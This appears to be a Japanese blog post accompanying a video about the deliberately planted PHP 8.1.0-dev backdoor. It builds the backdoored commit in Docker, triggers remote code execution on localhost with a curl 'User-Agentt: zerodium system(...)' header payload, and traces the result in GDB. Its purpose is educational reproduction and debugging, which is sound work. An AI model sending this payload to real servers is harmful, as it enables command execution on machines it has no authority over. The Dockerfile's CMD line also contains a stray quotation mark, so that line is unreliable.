😈
意図的に挿入された脆弱性の実例PHP 8.1.0-dev RCE バックドアを例にとって説明 の動画の実装
こちらの動画で用いた、phpの脆弱性を含んだバージョンのソースコードにあるバックドアを追跡する目のデバッグ方法です。
動画の内容
概要
この動画が解決する疑問
バックドアって、具体的にどうやってソースコードに隠されるの?
本物のアタッカーが書いたコードを見てみたい。
疑問の答え
例えば、PHP 8.1.0-dev RCE脆弱性がある。
説明方法
実際にバックドアを利用してみて、脆弱性の再現とデバッガでの追跡を行う。
(時間のある時にここで動画の内容を解説して記事を更新します。)
デバッグ方法
当時の依存関係を再現しないとphpのコンパイル時にエラーが出てしまうので、2021年当時の環境に近い環境をDocker で作成します。
Dockerfile を以下のように定義します。
# 2021年当時の環境に近い安定版を使用
FROM debian:bullseye
# 依存パッケージのインストール
RUN apt-get update && apt-get install -y \
build-essential \
autoconf \
bison \
re2c \
libxml2-dev \
libsqlite3-dev \
libssl-dev \
pkg-config \
git \
gdb \
curl \
zlib1g-dev \
libpng-dev \
&& rm -rf /var/lib/apt/lists/*
# PHPソースコードの取得(ミラーリポジトリを使用)
WORKDIR /usr/src
RUN git clone https://github.com/php/php-src.git
WORKDIR /usr/src/php-src
# バックドアが混入された特定のコミットへチェックアウト
RUN git checkout 2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
# ビルド設定(デバッグ有効、不要な拡張をオフにしてビルドを高速化)
RUN ./buildconf --force && \
./configure \
--enable-debug \
--disable-all \
--with-zlib \
--prefix=/usr/local/php-backdoor
# コンパイルとインストール(並列処理で高速化)
RUN make -j$(nproc) && make install
# パスの設定
ENV PATH="/usr/local/php-backdoor/bin:${PATH}"
# 作業ディレクトリ
WORKDIR /var/www/html
# 再現テスト用の簡易サーバ起動スクリプト
RUN echo '<?php echo 123;?>' > index.php
EXPOSE 8080
CMD ["php","-d","zlib.output_compression=Off",""-S","0.0.0.0:8080"]
Docker でビルドし、コンテナを起動します。
# イメージのビルド
docker build -t php-rce-backdoor .
# コンテナの起動
docker run -d -p 8080:8080 --name php-vuln php-rce-backdoor
以下のコードを実行して、バックドアから攻撃してみます。
# 'id' コマンドを実行させるペイロード
curl -H "User-Agentt: zerodium system('id');" http://localhost:8080/
結果は以下のようになり、コードが実行されていることがわかります。
uid=0(root) gid=0(root) groups=0(root)
123
起動したコンテナの中に入ってデバッガで確認します。
# 実行中のコンテナに入る
docker exec -it php-vuln bash
# PHPのプロセスIDを確認
apt update && apt install -y procps
ps aux | grep php
# GDBでアタッチ(バイナリのパスを直接指定)
gdb /usr/local/php-backdoor/bin/php -p <PID>
# ファイルを確認(任意)
(gdb) list ext/zlib/zlib.c:350,380
# 例:367行目(HTTP_USER_AGENTTヘッダーが存在したときに実行されるコードの頭)にブレークポイントを置く
(gdb) b ext/zlib/zlib.c:367
# 実行
(gdb) run
# 別のコンソールで攻撃
curl -H "User-Agentt: zerodium system('id');" http://localhost:8080/
Discussion